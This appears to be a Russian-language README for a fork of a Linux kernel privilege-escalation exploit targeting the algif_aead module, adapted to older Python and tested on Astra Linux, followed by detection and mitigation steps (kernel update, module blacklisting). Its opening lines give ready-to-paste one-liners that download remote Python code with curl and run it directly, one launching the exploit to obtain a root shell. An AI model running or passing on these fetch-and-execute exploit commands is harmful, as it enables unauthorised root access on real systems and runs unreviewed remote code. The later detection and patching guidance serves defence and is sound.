Безопасная провера без эксплуатирования:
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3Эксплуатирование (когда попросит надо ввести пароль пользователя)
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shellЭто форк, адаптированный для Python 3.7, 3.8, 3.9, 3.10, 3.11.
Оригинальные эксплойты требуют Python 3.12+ из-за использования os.splice().
# ❌ Оригинальный эксплойт (только Python 3.12+)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'- Убрана зависимость от
os.splice() - Добавлена совместимость с Python 3.7+
- Эксплойт протестирован на Astra Linux
- Сохранена совместимость с современными дистрибутивами
- Добавлен простой one-liner запуск
- Требуется локальный доступ к системе
- Python должен быть установлен в системе
- Проверено на Astra Linux CE/SE
- Работает без Python 3.12+
###Эксплуатация на Astra Linux
Уязвимость проверена на Astra Linux. Модуль algif_aead присутствует, эксплуатация позволяет получить доступ к sudo и повысить привилегии до root.
Однако при включённом мандатном контроле доступа (МКД/Parsec) стать суперадминистратором (уровень 63 / роль astra-admin) не представляется возможным: мандатные метки ограничивают привилегии даже процесса root, и политика безопасности не позволяет пересечь установленные уровни конфиденциальности.
Таким образом: 🔴 Системы Astra Linux без МКД или с отключённым МКД — уязвимы полностью. 🟡 Системы с включённым МКД — частично защищены: получение root возможно, но реальные возможности атакующего ограничены мандатной политикой.
В обоих случаях при обнаружении уязвимости применение мер из пунктов 2 или 3 обязательно.
━━━━━━━━━━━━━━━
- Проверка наличия уязвимости
На каждом сервере необходимо выполнить следующую команду. Она не вносит никаких изменений в систему и только проверяет, доступен ли уязвимый модуль.
Подключиться к серверу и выполнить одной строкой:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + ""30 + "\n* УЯЗВИМА **\n" + ""*30)'
🔴 Если на экране появилось слово УЯЗВИМА — сервер подвержен уязвимости, необходимо перейти к пункту 2. 🟢 Если появилось сообщение об ошибке Python — сервер не подвержен уязвимости, дальнейших действий не требуется.
━━━━━━━━━━━━━━━ 2. Основное решение — обновление ядра
Необходимо обновить ядро до версии, содержащей исправление: 6.18.22, 6.19.12 или новее. До момента обновления отключение модуля из пункта 3 обеспечивает защиту.
Для Debian / Ubuntu / Astra Linux:
apt-get update apt-get dist-upgrade reboot
После перезагрузки обязательно проверить что загрузилось именно новое ядро:
uname -r
Если команда показывает версию ниже 6.18.22 — ядро не обновилось либо система загрузилась со старым образом. В этом случае необходимо убедиться что обновление было установлено (apt-get dist-upgrade не выдало ошибок) и повторить перезагрузку.
━━━━━━━━━━━━━━━ 3. Временная мера защиты — отключение уязвимого модуля
Если обновление ядра в данный момент невозможно, в качестве временной меры рекомендуется отключить уязвимый модуль. Операция не требует перезагрузки и вступает в силу немедленно. Перед применением рекомендуется проверить изменения на тестовой среде: в редких случаях отдельные сервисы могут использовать данный модуль напрямую.
Команда для отключения модуля. Выполнить от имени root (или через sudo):
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Первая команда запрещает загрузку модуля при следующих запусках. Вторая выгружает его прямо сейчас, если он загружен. Ошибка во второй команде — это нормально, значит модуль уже не был активен.